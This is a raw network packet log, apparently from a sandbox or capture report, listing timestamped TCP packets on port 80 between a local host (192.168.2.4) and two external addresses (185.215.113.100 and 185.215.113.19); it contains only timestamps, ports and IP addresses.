Sep 1, 2024 05:09:27.884121895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884131908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884140968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884151936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884151936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884161949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884179115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884195089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884212971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884258986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884335995 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884347916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884361029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884371042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884381056 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884386063 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884391069 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884402990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.884402990 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884430885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.884445906 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.887613058 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:27.887672901 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.888940096 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:27.893659115 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:27.968280077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968291044 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968300104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968341112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968350887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968362093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968372107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968406916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968499899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968499899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968503952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968514919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968524933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968534946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968544006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968547106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968580961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968595028 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968657970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968668938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968678951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968688011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968698978 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968719006 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968743086 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968812943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968822956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968832970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968842983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968852043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968861103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968879938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968893051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968911886 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968923092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968931913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968941927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968950987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968960047 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.968961954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968971968 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968981981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.968987942 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969000101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969013929 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969161034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969278097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969289064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969299078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969310045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969319105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969319105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969330072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969337940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969341040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969350100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969356060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969361067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969374895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969393015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969517946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969527960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969537973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969547987 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969557047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969558954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969567060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969573021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969602108 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969798088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969808102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969818115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969831944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969841003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969850063 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969860077 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969861031 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969868898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969878912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969881058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969890118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969899893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969902039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969909906 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969918013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969919920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969930887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969938040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969944954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969952106 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969958067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.969969034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.969996929 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970177889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970189095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970199108 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970207930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970217943 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970228910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970230103 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970237017 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970237970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970257044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970280886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970460892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970470905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970480919 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970490932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970500946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970501900 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970510960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970520973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970529079 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970531940 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970541000 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970546961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970554113 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970563889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970566988 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970572948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970582962 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970590115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970592976 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970608950 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970635891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970793009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970808983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970825911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970835924 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970844984 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970845938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970856905 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970865965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970875025 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970876932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970890999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.970899105 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970906019 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.970927000 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971098900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971110106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971120119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971129894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971141100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971146107 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971153021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971154928 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971165895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971174955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971183062 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971188068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971203089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971204042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971209049 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971215010 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971224070 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971235037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971236944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971244097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971255064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971255064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971265078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971276045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971282005 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971286058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971296072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971302986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971304893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971317053 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:27.971324921 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:27.971353054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055068016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055095911 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055105925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055217028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055226088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055233955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055242062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055253029 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055258036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055267096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055293083 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055351973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055361986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055372953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055388927 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055413961 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055453062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055463076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055471897 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055480957 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055490971 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055502892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055511951 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055524111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055546045 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055579901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055589914 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055598021 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055607080 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055617094 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055629969 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055656910 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055685043 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055696011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055704117 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055713892 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055722952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055732965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055743933 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055777073 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.055867910 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055954933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055965900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055974007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055984020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055991888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.055999041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056006908 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056015015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056025028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056032896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056035042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056044102 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056046009 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056051970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056061983 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056082010 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056102991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056292057 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056302071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056309938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056318045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056327105 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056338072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056345940 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056364059 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056385040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056395054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056404114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056412935 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056421041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056428909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056431055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056438923 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056448936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056452036 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056464911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056478024 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056498051 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056683064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056691885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056700945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056710005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056740999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056754112 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056761026 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056763887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056773901 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056782007 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056791067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056799889 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056814909 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056833029 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.056987047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.056997061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057004929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057014942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057024002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057030916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.057034016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057041883 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.057048082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.057060957 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.057082891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.140192986 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:28.141598940 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.272929907 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.273279905 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.278448105 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:28.278518915 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.278583050 CEST	80	49790	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:28.278682947 CEST	49790	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.278913975 CEST	49791	80	192.168.2.4	185.215.113.19
Sep 1, 2024 05:09:28.283653975 CEST	80	49791	185.215.113.19	192.168.2.4
Sep 1, 2024 05:09:28.312546968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.317570925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.554955959 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.554966927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555031061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555032015 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555041075 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555056095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555095911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555150986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555160046 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555169106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555200100 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555227995 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555442095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555450916 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555461884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555497885 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:28.555516958 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555525064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555535078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555545092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:28.555572987 CEST	49742	80	192.168.2.4	185.215.113.100
